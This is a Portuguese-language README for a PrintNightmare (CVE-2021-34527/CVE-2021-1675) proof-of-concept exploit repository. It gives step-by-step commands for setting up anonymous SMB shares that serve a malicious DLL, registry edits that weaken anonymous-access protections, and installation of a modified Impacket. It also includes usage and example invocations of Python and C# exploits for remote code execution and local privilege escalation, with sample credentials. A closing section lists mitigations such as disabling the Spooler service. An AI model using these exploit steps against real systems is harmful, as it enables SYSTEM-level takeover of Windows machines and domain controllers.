
PrintNightmare - Exploits de prova de conceito da vulnerabilidade RCE/LPE do Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)
Esta é uma vulnerabilidade de execução remota de código que pode ser usada para obter privilégios de nível SYSTEM por um usuário remoto autenticado em máquinas Windows que executam o serviço de spooler de impressão. Um atacante poderia então usar esse acesso para criar novas contas, tentar instalar programas; visualizar, alterar ou excluir dados; ou criar novas contas com direitos de usuário completos.
Esta vulnerabilidade existe devido a uma falha de bypass de autorização no serviço Print Spooler spoolsv.exe em sistemas Windows, que permite que usuários remotos autenticados instalem drivers de impressora usando a chamada RPC RpcAddPrinterDriver e especifiquem um arquivo de driver localizado em um local remoto. Um usuário mal-intencionado que explore isso pode obter privilégios de nível SYSTEM em um sistema Windows que execute esse serviço, injetando DLLs maliciosas como parte da instalação de um driver de impressora.
Embora a Microsoft tenha lançado uma atualização para o CVE-2021-1675, essa atualização não protege controladores de domínio do Active Directory nem sistemas Windows que tenham o Point and Print configurado com a opção NoWarningNoElevationOnInstall configurada.
Existem três implementações de PoC de exploit neste repositório:
Como o serviço RPC permite que a máquina cliente forneça um local para os drivers de impressão serem baixados pelo servidor remoto, as seguintes opções de exemplo podem ser usadas para hospedar o payload e o caminho fornecido ao executar o exploit:
Para configurar o acesso de convidado no Samba, você precisa definir um usuário como o qual ele fingirá fazer login. Garanta que exista um usuário smbuser no sistema; caso contrário, crie um com a senha password
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
Edite o /etc/samba/smb.conf e habilite o acesso anônimo
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
As instruções abaixo são ligeiramente atualizadas em relação às fornecidas por cube0x0:
Esta é a implementação Impacket do exploit Printnightmare por cube0x0. Antes de executar o exploit, você precisa instalar uma versão modificada do Impacket:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
O código de exploit para esta vulnerabilidade precisa ser executado usando Python 3
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
O diretório SharpPrintNightmare/ contém a implementação em C# do exploit Printnightmare, tanto para Escalação de Privilégio Local (LPE – Local Privilege Escalation) (CVE-2021-1675) quanto para Execução Remota de Código (RCE – Remote Code Execution). A funcionalidade de RCE exige execução com privilégios de administrador local na máquina que executa o exploit.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
Execute o seguinte:
Get-Service -Name Spooler
Se o Print Spooler estiver em execução ou se o serviço não estiver definido como desativado, selecione uma das seguintes opções para desativar o serviço Print Spooler ou desativar a impressão remota de entrada através da Política de Grupo:
Se desativar o serviço Print Spooler for apropriado para a sua empresa, use os seguintes comandos do PowerShell (recomendação da Microsoft):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
ou desative o serviço Spooler usando o registro
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
ou desinstale o Print-Services
Uninstall-WindowsFeature Print-Services
Isso desativará a capacidade de imprimir tanto local quanto remotamente.
Você também pode definir as configurações por meio da Política de Grupo da seguinte forma:
Computer Configuration / Administrative Templates / Printers
Desative a política “Permitir que o Print Spooler aceite conexões de clientes:” para bloquear ataques remotos.
Essa política bloqueará o vetor de ataque remoto ao impedir operações de impressão remota de entrada. O sistema não funcionará mais como servidor de impressão, mas a impressão local para um dispositivo conectado diretamente ainda será possível.
Para obter mais informações, consulte: Use Configurações da Política de Grupo para controlar impressoras.